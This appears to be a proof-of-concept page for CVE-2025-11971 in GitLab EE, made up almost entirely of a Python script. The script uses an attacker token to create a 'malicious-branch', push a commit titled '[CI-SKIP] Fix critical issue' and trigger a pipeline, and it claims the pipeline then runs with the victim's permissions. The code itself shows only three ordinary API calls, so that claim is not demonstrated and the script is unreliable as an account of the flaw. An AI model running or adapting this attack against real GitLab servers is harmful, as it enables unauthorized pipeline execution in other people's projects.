CVE-2025-11971: GitLab EE 认证用户通过操纵提交触发未授权管道执行漏洞

# CVE-2025-11971 PoC - GitLab Unauthorized Pipeline Execution # This PoC demonstrates how an authenticated attacker can trigger unauthorized pipelines import requests import json GITLAB_URL = "https://gitlab.example.com" TARGET_PROJECT_ID = "target/project" ATTACKER_TOKEN = "glpat-attacker-token-here" def trigger_unauthorized_pipeline(): """ Attacker flow to trigger pipeline with elevated privileges: 1. Fork or create a branch in the target repository 2. Manipulate commit message or content 3. Push the manipulated commit 4. The pipeline will execute with the victim's permissions """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Create a new branch create_branch_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/repository/branches" branch_data = { "branch": "malicious-branch", "ref": "main" } response = requests.post(create_branch_url, headers=headers, json=branch_data) if response.status_code != 201: print(f"Failed to create branch: {response.text}") return False # Step 2: Create a commit with manipulated content commit_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/repository/commits" commit_data = { "branch": "malicious-branch", "commit_message": "[CI-SKIP] Fix critical issue", "actions": [ { "action": "update", "file_path": "README.md", "content": "Manipulated content to trigger pipeline" } ] } response = requests.post(commit_url, headers=headers, json=commit_data) if response.status_code != 201: print(f"Failed to create commit: {response.text}") return False # Step 3: Trigger pipeline manually pipeline_url = f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/pipeline" pipeline_data = { "ref": "malicious-branch", "variables": { "TRIGGERED_BY": "attacker" } } response = requests.post(pipeline_url, headers=headers, json=pipeline_data) if response.status_code == 201: print(f"Pipeline triggered successfully: {response.json().get('id')}") return True else: print(f"Pipeline trigger failed: {response.text}") return False if __name__ == "__main__": print("CVE-2025-11971 PoC - GitLab Unauthorized Pipeline Execution") print("Target: GitLab EE < 18.3.5, < 18.4.3, < 18.5.1") trigger_unauthorized_pipeline()